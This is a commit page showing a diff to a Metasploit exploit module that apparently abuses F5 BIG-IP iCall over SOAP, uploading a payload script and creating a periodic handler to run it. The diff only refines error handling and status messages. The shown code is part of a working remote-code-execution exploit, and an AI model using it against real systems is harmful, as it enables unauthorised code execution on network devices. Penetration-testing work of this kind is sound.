Better handling of handler creation output

bug/bundler_fix
Jon Hart 2015-11-18 15:31:32 -08:00
parent bcdf2ce1e3
commit ae3d65f649
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 14 additions and 5 deletions

View File

@ -152,6 +152,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def create_handler(handler_name, script_name) def create_handler(handler_name, script_name)
print_status("Creating trigger #{handler_name}")
handler_xml = build_xml do |xml| handler_xml = build_xml do |xml|
xml['per'].create(SOAPENV_ENCODINGSTYLE) do xml['per'].create(SOAPENV_ENCODINGSTYLE) do
xml.handlers(STRING_ATTRS) do xml.handlers(STRING_ATTRS) do
@ -168,12 +169,22 @@ class Metasploit3 < Msf::Exploit::Remote
# start/end time it will run once, more or less immediately, and # start/end time it will run once, more or less immediately, and
# again 24h from now, but by that point hopefully we will have # again 24h from now, but by that point hopefully we will have
# cleaned up and the handler/script/etc are gone # cleaned up and the handler/script/etc are gone
xml.item 60*60*24 xml.item 60 * 60 * 24
end end
end end
end end
res = send_soap_request(handler_xml) res = send_soap_request(handler_xml)
res && res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler") if res
if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
true
else
print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}")
false
end
else
print_error("No response to trigger creation")
false
end
end end
def delete_handler(handler_name) def delete_handler(handler_name)
@ -229,7 +240,7 @@ class Metasploit3 < Msf::Exploit::Remote
script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}" script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
print_status("Uploading payload script #{script_name}") print_status("Uploading payload script #{script_name}")
unless create_script_res = create_script(script_name, cmd) unless (create_script_res = create_script(script_name, cmd))
print_error("No response when uploading payload script") print_error("No response when uploading payload script")
return false return false
end end
@ -246,9 +257,7 @@ class Metasploit3 < Msf::Exploit::Remote
# phase 2: create iCall Handler, that will actually run the previously created script # phase 2: create iCall Handler, that will actually run the previously created script
handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}" handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
print_status("Creating trigger #{handler_name}")
unless create_handler(handler_name, script_name) unless create_handler(handler_name, script_name)
print_error('Payload script uploaded but trigger creation failed')
delete_script(script_name) delete_script(script_name)
return false return false
end end